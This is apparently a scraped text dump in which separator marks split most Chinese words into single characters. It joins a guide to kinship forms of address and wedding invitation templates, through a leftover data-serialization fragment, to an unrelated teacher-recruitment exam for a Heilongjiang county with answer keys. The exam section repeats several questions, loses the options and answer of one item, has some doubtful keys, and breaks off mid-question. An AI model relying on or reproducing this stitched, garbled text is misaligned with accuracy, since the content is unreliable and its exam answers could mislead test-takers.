@#@@#@类@#@名@#@分@#@亲家之表伯叔@#@表伯叔父@#@表母舅@#@表姨父@#@姑丈之兄弟@#@姨丈之兄弟@#@婿之祖父@#@兄弟之岳丈@#@妻之表母舅@#@妻之表伯叔@#@姊夫妹夫之父@#@称@#@ @#@@#@呼@#@某@#@府@#@O@#@O@#@表@#@姻@#@伯@#@叔@#@某@#@府@#@O@#@O@#@表@#@伯@#@表@#@叔@#@某@#@府@#@O@#@O@#@表@#@母@#@舅@#@某@#@府@#@O@#@O@#@表@#@姨@#@丈@#@某@#@府@#@O@#@O@#@老@#@伯@#@老@#@叔@#@某@#@府@#@O@#@O@#@老@#@伯@#@老@#@叔@#@某@#@府@#@O@#@O@#@老@#@太@#@翁@#@某@#@府@#@O@#@O@#@尊@#@亲@#@翁@#@某@#@府@#@O@#@O@#@表@#@舅@#@翁@#@某@#@府@#@O@#@O@#@表@#@伯@#@表@#@叔@#@某@#@府@#@O@#@O@#@老@#@亲@#@翁@#@落款称谓@#@眷@#@晚@#@生@#@愚@#@表@#@侄@#@愚@#@表@#@甥@#@愚@#@表@#@甥@#@眷@#@姻@#@侄@#@眷@#@晚@#@生@#@姻@#@晚@#@生@#@眷@#@姻@#@晚@#@表@#@甥@#@婿@#@表@#@侄@#@婿@#@眷@#@姻@#@晚@#@附@#@ @#@@#@注@#@姊妹丈与表伯叔同@#@即母舅之妻兄弟与表兄弟@#@媳妇之祖同@#@ @#@@#@三@#@ @#@@#@平@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@ @#@@#@分@#@同母异父兄弟@#@妻之姊夫妹夫@#@妻兄弟@#@姻亲家@#@伯叔亲家@#@姑亲家@#@姨亲家@#@舅亲家@#@表兄弟@#@表兄弟之姊妹夫@#@同年@#@同年之兄弟@#@父之干子@#@称@#@ @#@@#@呼@#@第@#@几@#@兄@#@第@#@几@#@弟@#@某@#@府@#@O@#@O@#@襟@#@兄@#@某@#@府@#@O@#@O@#@贤@#@舅@#@兄@#@弟@#@某@#@府@#@O@#@O@#@姻@#@亲@#@家@#@某@#@府@#@O@#@O@#@伯@#@叔@#@亲@#@家@#@某@#@府@#@O@#@O@#@姑@#@姻@#@家@#@某@#@府@#@O@#@O@#@姨@#@亲@#@家@#@某@#@府@#@O@#@O@#@舅@#@亲@#@家@#@某@#@府@#@O@#@O@#@贤@#@表@#@兄@#@弟@#@某@#@府@#@O@#@O@#@表@#@姊@#@妹@#@夫@#@某@#@府@#@O@#@O@#@庚@#@兄@#@弟@#@某@#@府@#@O@#@O@#@贤@#@兄@#@某@#@府@#@O@#@O@#@干@#@弟@#@落款称谓@#@愚@#@弟@#@愚@#@襟@#@弟@#@愚@#@外@#@兄@#@弟@#@姻@#@愚@#@弟@#@姻@#@愚@#@弟@#@眷@#@姻@#@弟@#@眷@#@姻@#@弟@#@眷@#@姻@#@弟@#@愚@#@表@#@兄@#@弟@#@眷@#@愚@#@弟@#@愚@#@庚@#@兄@#@弟@#@契@#@弟@#@干@#@弟@#@附@#@ @#@@#@注@#@又称内兄内弟@#@即亲家之姐夫妹夫@#@即亲家的姨夫@#@即亲家的内兄弟@#@与@#@干@#@父@#@之@#@子@#@同@#@四@#@ @#@@#@子@#@ @#@@#@侄@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@ @#@@#@分@#@胞@#@ @#@@#@侄@#@堂@#@ @#@@#@侄@#@疎@#@ @#@@#@侄@#@女@#@ @#@@#@婿@#@侄@#@ @#@@#@婿@#@甥@#@ @#@@#@婿@#@妻@#@侄@#@婿@#@姨@#@侄@#@婿@#@妻@#@之@#@侄@#@姊@#@妹@#@之@#@子@#@姨@#@ @#@@#@侄@#@亲@#@家@#@之@#@子@#@侄@#@称@#@ @#@@#@呼@#@某@#@某@#@胞@#@侄@#@某@#@某@#@堂@#@侄@#@某@#@某@#@贤@#@侄@#@某@#@某@#@贤@#@坦@#@婿@#@某@#@府@#@O@#@O@#@贤@#@侄@#@坦@#@某@#@府@#@O@#@O@#@贤@#@甥@#@婿@#@某@#@府@#@O@#@O@#@贤@#@内@#@侄@#@婿@#@某@#@府@#@O@#@O@#@贤@#@姨@#@侄@#@婿@#@某@#@府@#@O@#@O@#@贤@#@内@#@侄@#@某@#@府@#@O@#@O@#@贤@#@宅@#@相@#@某@#@府@#@O@#@O@#@贤@#@姨@#@侄@#@某@#@府@#@O@#@O@#@贤@#@世@#@台@#@落款称谓@#@胞@#@伯@#@叔@#@堂@#@伯@#@叔@#@愚@#@伯@#@叔@#@愚@#@岳@#@丈@#@愚@#@伯@#@岳@#@叔@#@愚@#@眷@#@生@#@愚@#@眷@#@生@#@愚@#@眷@#@生@#@愚@#@姑@#@父@#@愚@#@舅@#@父@#@愚@#@姨@#@父@#@姻@#@眷@#@生@#@附@#@注@#@子@#@ @#@@#@侄@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@ @#@@#@分@#@表@#@侄@#@表@#@侄@#@婿@#@姊妹@#@夫@#@之@#@甥@#@表@#@内@#@侄@#@表@#@姨@#@侄@#@子之妻兄弟@#@婿@#@之@#@兄@#@弟@#@同@#@年@#@之@#@子@#@称@#@ @#@@#@呼@#@某@#@府@#@O@#@O@#@贤@#@表@#@侄@#@某@#@府@#@O@#@O@#@贤@#@表@#@侄@#@婿@#@某@#@府@#@O@#@O@#@贤@#@表@#@甥@#@某@#@府@#@O@#@O@#@贤@#@表@#@内@#@侄@#@某@#@府@#@O@#@O@#@姨@#@表@#@甥@#@某@#@府@#@O@#@O@#@舅@#@世@#@兄@#@某@#@府@#@O@#@O@#@姻@#@世@#@兄@#@某@#@府@#@O@#@O@#@贤@#@庚@#@侄@#@落款称谓@#@愚表伯叔@#@眷侍生@#@愚表舅@#@愚眷生@#@愚眷生@#@眷侍生@#@眷侍生@#@愚庚父@#@附@#@注@#@表兄之弟甥同@#@五@#@ @#@@#@孙@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@分@#@侄孙@#@远族晚辈@#@五服内侄孙@#@婿女之子@#@婿之女婿@#@侄女之子@#@姊妹之孙@#@孙女婿@#@侄孙婿@#@外孙婿@#@内侄孙@#@姨侄孙@#@称@#@ @#@@#@呼@#@某@#@某@#@贤@#@侄@#@孙@#@某@#@某@#@贤@#@宗@#@侄@#@孙@#@某@#@某@#@贤@#@侄@#@孙@#@某@#@某@#@贤@#@外@#@孙@#@某@#@某@#@贤@#@外@#@孙@#@婿@#@某@#@某@#@贤@#@外@#@侄@#@孙@#@某@#@某@#@贤@#@甥@#@孙@#@某@#@某@#@贤@#@孙@#@婿@#@某@#@某@#@贤@#@侄@#@孙@#@婿@#@某@#@某@#@贤@#@外@#@孙@#@婿@#@某@#@某@#@贤@#@内@#@侄@#@孙@#@某@#@府@#@O@#@O@#@贤@#@甥@#@孙@#@落款称谓@#@伯叔祖父@#@愚伯叔祖@#@愚伯叔祖@#@愚外祖@#@姻侍生@#@愚外伯叔祖@#@愚外祖@#@眷生或外祖@#@眷侍生@#@眷侍教生@#@愚外姑祖@#@眷侍生@#@附@#@注@#@又可称愚舅祖@#@孙@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@分@#@表@#@侄@#@孙@#@孙@#@之@#@亲@#@家@#@子@#@之@#@妻@#@侄@#@侄@#@孙@#@之@#@亲@#@家@#@孙@#@媳@#@之@#@兄@#@弟@#@外@#@甥@#@之@#@子@#@称@#@ @#@@#@呼@#@某@#@府@#@O@#@O@#@贤@#@表@#@侄@#@孙@#@某@#@府@#@O@#@O@#@世@#@兄@#@亲@#@家@#@某@#@府@#@O@#@O@#@仁@#@兄@#@某@#@府@#@O@#@O@#@世@#@兄@#@亲@#@家@#@某@#@府@#@O@#@O@#@贤@#@舅@#@台@#@某@#@府@#@O@#@O@#@外@#@甥@#@孙@#@落@#@款@#@称@#@谓@#@眷@#@侍@#@生@#@姻@#@侍@#@教@#@生@#@姻@#@侍@#@教@#@生@#@姻@#@眷@#@侍@#@教@#@生@#@姻@#@侍@#@教@#@生@#@忝@#@舅@#@祖@#@附@#@注@#@ @#@@#@七、十封全书@#@1、喜庆书柬类@#@閤 @#@@#@潭@#@光@#@临 @#@ @#@ @#@ @#@ @#@某男@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@忝@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@列@#@东@#@床@#@谨@#@择@#@农@#@历@#@O@#@月@#@O@#@日@#@敬@#@治@#@喜@#@筵@#@恭@#@候@#@姻@#@愚@#@弟@#@姓@#@O@#@O@#@鞠@#@躬@#@某@#@府@#@O@#@O@#@新@#@姻@#@ @#@@#@家@#@ @#@@#@ @#@@#@ @#@ @#@ @#@ @#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@请@#@女@#@亲 @#@@#@家@#@书@#@例@#@蓬@#@興 @#@某@#@男幸@#@缔淑媛谨@#@择@#@农@#@历@#@O@#@月@#@O@#@日正结婚敬@#@治@#@喜@#@筵@#@恭 @#@ @#@姻@#@愚@#@妹@#@O@#@门@#@O@#@O@#@O@#@端@#@肃@#@ @#@@#@ @#@@#@某@#@府@#@O@#@O@#@ @#@@#@懿@#@ @#@@#@姻@#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封@#@附注：

@#@ @#@@#@1、十封全书这里两封是举例子，前一封请男客，后一封请女客，其余几封都不写，只在中间写一全字，由女方自请。

@#@@#@2、十封全书开头是写结婚人名字。

@#@如果父母主婚，则写某男或长男次男等。

@#@自己主婚，则写我俩结婚。

@#@父母在写命下，父故母在写慈命下，父在母故写严命下。

@#@有祖父母在写重庆下。

@#@@#@ @#@3、主婚人落款下面，长辈则写拜订，平辈则写鞠躬，晚辈则写谨订。

@#@@#@4、头子上四个字，父母主婚则写忝列东来、幸缔淑媛，自己主婚写我俩结婚，岳父母在则写叨缘倚玉。

@#@@#@ @#@ @#@ @#@台@#@驾 @#@ @#@ @#@ @#@某@#@某男@#@幸@#@缔@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@孙@#@媛@#@谨@#@取@#@农@#@历@#@O@#@月@#@O@#@日正@#@敬@#@治@#@喜@#@筵@#@恭@#@迓@#@姻@#@愚@#@晚@#@姓@#@O@#@O@#@拜@#@订@#@ @#@@#@某 @#@ @#@ @#@ @#@@#@ @#@@#@府@#@ @#@@#@O@#@ @#@@#@翁@#@ @#@@#@尊@#@ @#@@#@爹@#@ @#@@#@请@#@姻@#@家@#@之@#@父@#@母@#@书@#@例@#@蓬@#@興 @#@ @#@ @#@ @#@ @#@ @#@男@#@某男@#@幸@#@缔@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@孙@#@媛@#@谨@#@取@#@农@#@历@#@O@#@月@#@O@#@日正@#@敬@#@治@#@喜@#@筵@#@恭@#@迓姻@#@愚@#@晚@#@归@#@某@#@门@#@O@#@氏@#@端@#@肃@#@某@#@ @#@@#@府@#@ @#@@#@O@#@ @#@@#@O@#@ @#@@#@尊@#@ @#@@#@娭@#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封@#@台@#@光 @#@ @#@ @#@ @#@@#@某@#@男@#@叨@#@福@#@完@#@婚@#@吉@#@涓@#@农@#@历@#@O@#@月@#@O@#@日@#@ @#@@#@ @#@@#@恭@#@迓@#@愚@#@姻@#@弟@#@姓@#@O@#@O@#@鞠@#@躬@#@ @#@@#@某@#@府@#@O@#@O@#@姻@#@家@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@双@#@玉@#@ @#@@#@ @#@@#@请@#@旧@#@姻@#@戚@#@与@#@其@#@他@#@亲@#@朋@#@帖@#@例@#@台@#@光 @#@ @#@ @#@ @#@@#@某@#@男@#@叨@#@福@#@完@#@婚@#@吉@#@涓@#@农@#@历@#@O@#@月@#@O@#@日@#@ @#@@#@ @#@@#@恭@#@迓@#@ @#@@#@愚@#@姻@#@晚@#@O@#@O@#@拜@#@订@#@ @#@@#@某@#@府@#@O@#@翁@#@尊@#@爹@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@双@#@福@#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封@#@台@#@光 @#@ @#@某@#@男@#@完@#@婚@#@谨@#@取@#@O@#@月@#@O@#@日@#@正@#@敬@#@治@#@喜@#@筵@#@恭@#@迓@#@︵@#@以@#@亲@#@友@#@关@#@系@#@称@#@︶@#@O@#@O@#@鞠@#@躬@#@ @#@@#@某@#@府@#@O@#@O@#@︵@#@以@#@亲@#@友@#@关@#@系@#@写@#@称@#@呼@#@︶@#@ @#@@#@请@#@介@#@绍@#@人@#@书@#@帖@#@例@#@氷@#@驾 @#@某男叨蒙作伐谨@#@取@#@O@#@月@#@O@#@日@#@先餐敬@#@治@#@喜@#@筵@#@恭@#@迓@#@ @#@@#@ @#@@#@愚@#@弟@#@姓@#@O@#@O@#@鞠@#@躬@#@某@#@府@#@O@#@O@#@大@#@ @#@@#@月@#@ @#@@#@老@#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@内封 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@面封@#@附注：

@#@@#@1、请介绍人帖与亲友帖不同，亲友都是结婚那天写巳正、酉正，介绍人须前日在女方家住，第二天同新娘来男方举行婚礼，故写先餐。

@#@@#@2、称媒人：

@#@大月老 @#@ @#@大氷人 @#@ @#@大掌判。

@#@@#@3、如系妇女做介绍则写大妁母，自己称谓契末、";i:

10;s:

19012:

"黑龙江省鹤岗市绥滨县下半年教师招聘《通用能力测试（教育类）》试题@#@　　一、单项选择题（在下列每题四个选项中只有一个是最符合题意的，将其选出并把它的标号写在题后的括号内。

@#@错选、多选或未选均不得分。

@#@）@#@　　1、提倡和实施“爱的教育”的典范是（）。

@#@@#@　　A、福禄贝尔@#@　　B、夸美纽斯@#@　　C、卢梭@#@　　D、裴斯泰洛齐@#@　　【答案】D@#@　　2、新义务教育法规定，国家实行（）年义务教育制度。

@#@@#@　　A、九@#@　　B、十@#@　　C、十一@#@　　D、十二@#@　　【答案】A@#@　　3、抑郁症的主要特征是持久的（）。

@#@@#@　　A、焦虑@#@　　B、紧张@#@　　C、情绪低落@#@　　D、注意障碍@#@　　【答案】C@#@　　4、“成熟势力说”的创始人是（）。

@#@@#@　　A、柏拉图@#@　　B、格塞尔@#@　　C、华生@#@　　D、皮亚杰@#@　　【答案】B@#@　　5、决定教育性质的根本因素是（）。

@#@@#@　　A、政治制度@#@　　B、生产关系@#@　　C、生产力@#@　　D、生活方式@#@　　【答案】B6、课程不是教学的（）。

@#@@#@　　A、权威@#@　　B、方向@#@　　C、目标@#@　　D、计划@#@　　【答案】A@#@　　7、我国现行幼儿园的体制大多数是按幼儿的（）分班。

@#@@#@　　A、心理年龄@#@　　B、实际年龄@#@　　C、智力年龄@#@　　D、知识经验@#@　　【答案】B@#@　　8、抑郁症的主要特征是持久的（）。

@#@@#@　　A、焦虑@#@　　B、紧张@#@　　C、情绪低落@#@　　D、注意障碍@#@　　【答案】C@#@　　9、罗杰斯的非指导性教学的精髓是（）。

@#@@#@　　A、以学生为本@#@　　B、让学生自发地学习@#@　　C、给学生以安全感@#@　　D、排除对学习者自身的威胁@#@　　【答案】A@#@　　10、教育学研究的对象是（）。

@#@@#@　　A、教育现象@#@　　B、教育方针@#@　　C、教育政策@#@　　D、教育理论@#@　　【答案】A@#@　　11、下列哪一项不属于布鲁巴奇等在1994年提出的四释反恩方法的是（）。

@#@@#@　　A、反思日记@#@　　B、详细描述@#@　　C、交流讨论@#@　　D、关注问题@#@　　【答案】D@#@　　12、以个人好恶、兴趣爱好为联系纽带具有强烈情感色彩的群体是（）。

@#@@#@　　A、联合群体@#@　　B、正式群体@#@　　C、松散群体@#@　　D、非正式群体@#@　　【答案】D@#@　　13、四岁的幼儿是脱离乳幼儿体格的变幻期，人们称之为“（）”。

@#@@#@　　A、总在活动期@#@　　B、发现自我期@#@　　C、可靠期@#@　　D、自信期@#@　　【答案】B@#@　　14、德育的价值属性和（）对平行教育子系统的作用是德育的功能的两大含义。

@#@@#@　　A、社会性@#@　　B、个体性@#@　　C、教育性@#@　　D、享用性@#@　　【答案】C@#@　　15、以下关于教学的正确论述应该是（）。

@#@@#@　　A、教学就是传授知识@#@　　B、教学就是上课@#@　　C、教学就是智育@#@　　D、教学由教与学两方面活动组成@#@　　【答案】D@#@　　16、（）常常是指的同一种现象，即先于一定的活动面对该活动的一种动力准备状态。

@#@@#@　　A、功能固着@#@　　B、态度定势@#@　　C、学习的心向与定势@#@　　D、迁移@#@　　【答案】C17、小学生容易把“B”写成“D”，这说明小学生的（）还不成熟。

@#@@#@　　A、感知能力@#@　　B、注意能力@#@　　18、创造性的基本结构中不包括（）。

@#@@#@　　A、创造性人格@#@　　B、创造性思维@#@　　C、创造性意识@#@　　D、创造性勇气@#@　　【答案】D@#@　　19、创造性的基本结构中不包括（）。

@#@@#@　　A、创造性人格@#@　　B、创造性思维@#@　　C、创造性意识@#@　　D、创造性勇气@#@　　【答案】D@#@　　20、俗语“人心不同，各如其面”，说明了儿童身心发展具有（）。

@#@@#@　　A、顺序性@#@　　B、不平衡性@#@　　C、阶段性@#@　　D、个别差异性@#@　　【答案】D@#@　　21、角色游戏属于（）。

@#@@#@　　A、创造性游戏@#@　　B、有规则游戏@#@　　C、结构游戏@#@　　D、表演游戏@#@　　【答案】A@#@　　22、教育心里学受弗洛伊德理论的影响，扩展了研究领域，同时程序教学兴起的时期大致在（）。

@#@@#@　　A、19世纪末20实际初@#@　　B、20世纪20年代~50年代末@#@　　C、20世纪60年代~70年代末@#@　　D、20世纪80年代以后@#@　　【答案】B23、坚持四项基本原则教育属于（）。

@#@@#@　　A、道德素质教育@#@　　B、思想素质教育@#@　　C、政治素质教育@#@　　D、心理素质教育@#@　　【答案】C@#@　　24、个体品德的核心部分是（）。

@#@@#@　　A、道德认识@#@　　B、道德情感@#@　　C、道德意向@#@　　D、道德行为@#@　　【答案】A@#@　　25、儿童的发展是通过（）。

@#@@#@　　A、对物体的操作和与人的交往而发展的@#@　　B、聆听教师讲授知识而发展的@#@　　C、观看电视频道节目而发展的@#@　　D、观察教师的操作过程而发展的@#@　　【答案】A@#@　　26、课堂管理始终制约着教学和评价的有效进行，具有（）。

@#@@#@　　A、维持动机作用@#@　　B、促进和维持功能@#@　　C、思想教育作用@#@　　D、培养纪律功能@#@　　【答案】B@#@　　27、班主任工作千头万绪，但（）是班主任工作的中心环节。

@#@@#@　　A、对学生进行思想品德教育@#@　　B、抓好学生的学习，提高教学质量@#@　　C、组织和培养班集体@#@　　D、开展多种多样的班级活动@#@　　【答案】C@#@　　28、（）是对头脑中已有的形象进行加工，重新组合成为新形象的过程。

@#@@#@　　A、想象@#@　　B、表象@#@　　C、梦想@#@　　D、创造性@#@　　【答案】A@#@　　29、注重培养学生基础学力的课程是（）。

@#@@#@　　A、基础型课程@#@　　B、拓展型课程@#@　　C、研究型课程@#@　　D、发展型课程@#@　　【答案】A@#@　　30、广义的学习指人和动物在生活过程中，凭借经验而产生的行为或行为潜能的相对（）。

@#@@#@　　A、地升华@#@　　B、发挥@#@　　C、表现@#@　　D、持久的变化@#@　　【答案】D@#@　　31、班主任在班级管理建设中发挥的作用是（）。

@#@@#@　　A、主导作用@#@　　B、主体作用@#@　　C、辅助作用@#@　　D、调控作用@#@　　【答案】A@#@　　32、联合国教科文组织于1993年提出的未来教育的四大基础支柱是（）。

@#@@#@　　A、学会生活、学会认知、学会工作、学会享受@#@　　B、学会做事、学会学习、学会生活、学会合作@#@　　C、学会做人、学会做事、学会学习、学会生存@#@　　D、学会认知、学会做事、学会做人、学会共处@#@　　【答案】D@#@　　33、下述所列的迁移说中有一种被认为是缺乏科学根据的：

@#@@#@　　（）。

@#@@#@　　A、形式训练迁移说@#@　　B、同化学习迁移说@#@　　C、经验类化迁移说@#@　　D、认知结构迁移说@#@　　【答案】A34、程序性教学实际上是（）理论在实践中的运用。

@#@@#@　　A、学习的操作性条件作用@#@　　B、观察学习@#@　　C、认知学习@#@　　D、认知同化@#@　　【答案】A@#@　　35、下列哪种活动体现了幼儿的再造想象（）。

@#@@#@　　A、有些孩子经常会生造一些词语@#@　　B、在绘画时，有的幼儿把太阳画成绿色@#@　　C、有的幼儿在看图说话时，能说出许多图上没有但与主题相关的内容@#@　　D、幼儿把音阶想象成“走楼梯”，从而来理解音阶@#@　　【答案】C@#@　　36、制定学前教育目标的依据不包括下面哪一项。

@#@@#@　　（）@#@　　A、我国教育方针@#@　　B、社会发展的需要@#@　　C、学前儿童发展的需求@#@　　D、经济发展的需要@#@　　【答案】D@#@　　37、根据一节课所完成的任务，课的类型一般可分为（）。

@#@@#@　　A、新授课和巩固课@#@　　B、讲授课和练习课@#@　　C、单一课和综合课@#@　　D、理论课和实践课@#@　　【答案】C@#@　　38、建构主义儿童发展观的代表人物是（）。

@#@@#@　　A、斯金纳@#@　　B、皮亚杰@#@　　C、高尔顿@#@　　D、华升@#@　　【答案】B@#@　　39、不仅仅是讲与说，而应使其成为一种独特的艺术是指（）。

@#@@#@　　A、教师的语言@#@　　B、教育智慧@#@　　C、教师的交往@#@　　D、教育反思@#@　　【答案】A@#@　　40、全面系统的论述活动课程的价值的人是（）。

@#@@#@　　A、斯宾塞@#@　　B、卢梭@#@　　C、杜威@#@　　D、洪堡@#@　　【答案】C@#@　　41、（）是世界上最大的文献资源宝库。

@#@@#@　　A、计算机@#@　　B、图书馆@#@　　C、Internet@#@　　D、光盘数据库@#@　　【答案】C@#@　　42、要解决《学记》中提到的学生学习“过少、过急、过难、过易”的问题，应当贯彻（）原则。

@#@@#@　　A、教学相长@#@　　B、综合课程@#@　　C、长善救失@#@　　D、藏息相辅@#@　　【答案】C@#@　　43、对学生的发展最有利的师生关系模式是（）。

@#@@#@　　A、管理型@#@　　B、放任型@#@　　C、专制型@#@　　D、民主型@#@　　【答案】D@#@　　44、教学过程的结构指的是教学进程的（）。

@#@@#@　　A、基本部分@#@　　B、基本内容@#@　　C、基本途径@#@　　D、基本阶段@#@　　【答案】D45、（）是产生和传播先进文化的基础。

@#@@#@　　A、社会文化@#@　　B、学校文化@#@　　C、社区文化@#@　　D、网络文化@#@　　【答案】B@#@　　46、通过分析儿童的绘画、日记等了解儿童心理的方法是（）。

@#@@#@　　A、实验法@#@　　B、测验法@#@　　C、观察法@#@　　D、作品分析法@#@　　【答案】D@#@　　47、为了打击社会的不良行为，国家常用“杀一儆百”的做法，其理论依据是（）。

@#@@#@　　A、操作性条件反射理论@#@　　B、经典条件反射理论@#@　　C、社会学习理论@#@　　D、期待惩罚理论@#@　　【答案】C@#@　　48、使人格各部分整合和统一起来的核心力量是（）。

@#@@#@　　A、自我意识@#@　　B、自我认知@#@　　C、性格特征@#@　　D、能力@#@　　【答案】A@#@　　49、现代教育发展的根本动因是（）。

@#@@#@　　A、政治需要@#@　　B、科技进步@#@　　C、生产力发展水平@#@　　D、产业革命@#@　　【答案】B@#@　　50、学生、学习过程和学习情境是课堂的三大要素。

@#@这三大要素的相对稳定的组合模式就是（）。

@#@@#@　　A、课堂情境@#@　　B、课堂结构@#@　　C、课堂形势@#@　　D、课堂教学@#@　　【答案】B@#@　　51、对民办学校重大问题拥有决策权的是（）。

@#@@#@　　A、校长@#@　　B、教职工代表大会@#@　　C、学校工会@#@　　D、学校董事会@#@　　【答案】D@#@　　52、下列不属于教育心理学对教育实践作用的一项是（）。

@#@@#@　　A、描述@#@　　B、监控@#@　　C、解释@#@　　D、预测@#@　　【答案】B@#@　　53、教育的内容和手段受什么的制约（）。

@#@@#@　　A、生产力水平@#@　　B、生产关系@#@　　C、国家的社会制度@#@　　D、自然环境@#@　　【答案】A@#@　　54、长相端正、身体健康、智力发育好、性格活泼开朗的儿童大都属于（）。

@#@@#@　　A、受欢迎型@#@　　B、被拒绝型@#@　　C、被忽略型@#@　　D、逃避型@#@　　【答案】A@#@　　55、不仅仅是讲与说，而应使其成为一种独特的艺术是指（）。

@#@@#@　　A、教师的语言@#@　　B、教育智慧@#@　　C、教师的交往@#@　　D、教育反思@#@　　【答案】A56、将课程分为国家课程、地方课程、学校课程是从下列哪一种角度来进行划分的？

@#@（）@#@　　A、从课程功能的角度@#@　　B、从教育阶段的作用@#@　　C、从课程制定者或管理制度角度@#@　　D、从课程核心组织角度@#@　　【答案】C@#@　　57、视觉控制不起主导作用，逐渐让位于动觉控制指的是操作整合阶段（）的特点。

@#@@#@　　A、动作品质@#@　　B、动作结构@#@　　C、动作控制@#@　　D、动作效能@#@　　【答案】C@#@　　58、课堂常规是每个学生必须遵守的最基本的日常（）。

@#@@#@　　A、课堂约定@#@　　B、课堂行为准则@#@　　C、课堂纪律@#@　　D、课堂行为@#@　　【答案】B@#@　　59、古希伯来人的幼儿教育一般分为家庭教育时期与（）时期。

@#@@#@　　A、社会教育@#@　　B、社区教育@#@　　C、会堂教育@#@　　D、教会教育@#@　　【答案】C@#@　　60、下列学校中，不属于清代官学所独有的是哪一种？

@#@（）@#@　　A、国子学@#@　　B、觉罗学@#@　　C、八旗官学@#@　　D、俄罗斯馆@#@　　【答案】A@#@　　61、新义务教育法规定，实施义务教育，不收（）。

@#@@#@　　A、学费@#@　　B、杂费@#@　　C、学费、杂费@#@　　D、学费、杂费、住宿费@#@　　【答案】C@#@　　62、教学的首要任务是（）。

@#@@#@　　A、使学生掌握系统的科学文化知识@#@　　B、培养学生的实践能力和创新精神@#@　　C、培养学生良好的思想品德@#@　　D、培养学生的审美情趣和审美能力@#@　　【答案】A@#@　　63、科教兴国战略提出的时间是（）。

@#@@#@　　A、1996年3月@#@　　B、1996年5月@#@　　C、1987年5月@#@　　D、1989年6月@#@　　【答案】A@#@　　64、学前儿童心理研究的最基本的方法是（）。

@#@@#@　　A、实验法@#@　　B、观察法@#@　　C、调查法@#@　　D、作品分析法@#@　　【答案】B@#@　　65、对个体发展起主导作用的是（）。

@#@@#@　　A、父母@#@　　B、教育@#@　　C、环境@#@　　D、遗传@#@　　【答案】B@#@　　66、“爱班级、爱学校，为集体服务，维护集体荣誉的教育”，这主要属于（）的内容之一。

@#@@#@　　A、爱国主义教育@#@　　B、集体主义教育@#@　　C、理想教育@#@　　D、民主与法制教育@#@　　【答案】B67、下列关于教学方法和教学策略的关系叙述正确的是（）。

@#@@#@　　A、教学策略受制于教学方法@#@　　B、教学策略从层次上低于教学方法@#@　　C、教学方法的采用不受教学策略的支配@#@　　D、教学方法是教学策略的具体化@#@　　【答案】D@#@　　68、特殊教育学校（班）学生人均公用经费标准应当（）普通学校学生人均公用经费标准。

@#@@#@　　A、相当于@#@　　B、等于@#@　　C、高于@#@　　D、低于@#@　　【答案】C@#@　　69、班级的大小是影响课堂管理的一个（）。

@#@@#@　　A、可用因素@#@　　B、微弱因素@#@　　C、重要因素@#@　　D、利弊兼有的因素@#@　　【答案】C@#@　　70、“教学过程最优化”的教学思想的提出者是（）。

@#@@#@　　A、赞科夫@#@　　B、巴班斯基@#@　　C、苏霍姆林斯基@#@　　D、凯洛夫@#@　　【答案】B@#@　　71、下列哪种社会因素会影响教育目的（）。

@#@@#@　　A、经济@#@　　B、政治@#@　　C、文化@#@　　D、人口@#@　　【答案】B@#@　　72、脑内部成熟的标志是（）。

@#@@#@　　A、髓鞘化@#@　　B、条件反射@#@　　C、皮层抑制@#@　　D、兴奋@#@　　【答案】A@#@　　73、美国教育心理学发展的成熟时期所对应的年代是（）。

@#@@#@　　A、20世纪20年代到50年代@#@　　B、20世纪80年代以后@#@　　C、20世纪60年代到70年代@#@　　D、20世纪90年代以后@#@　　【答案】C@#@　　74、小学儿童思维形式从以具体形象思维为主逐步过渡到以抽象逻辑思维为主的关键年龄大约在（）。

@#@@#@　　A、5~6岁@#@　　B、7~8岁@#@　　C、10~11岁@#@　　D、12~13岁@#@　　【答案】C@#@　　75、发展角色游戏的基础是（）。

@#@@#@　　A、丰富儿童的知识经验，开阔眼界@#@　　B、教师规定好游戏主题@#@　　C、游戏角色的分配@#@　　D、教师对游戏结果的重视@#@　　【答案】A@#@　　76、师范学校的出现，与教师成为一种独立的社会职业，从时间上来说，（）。

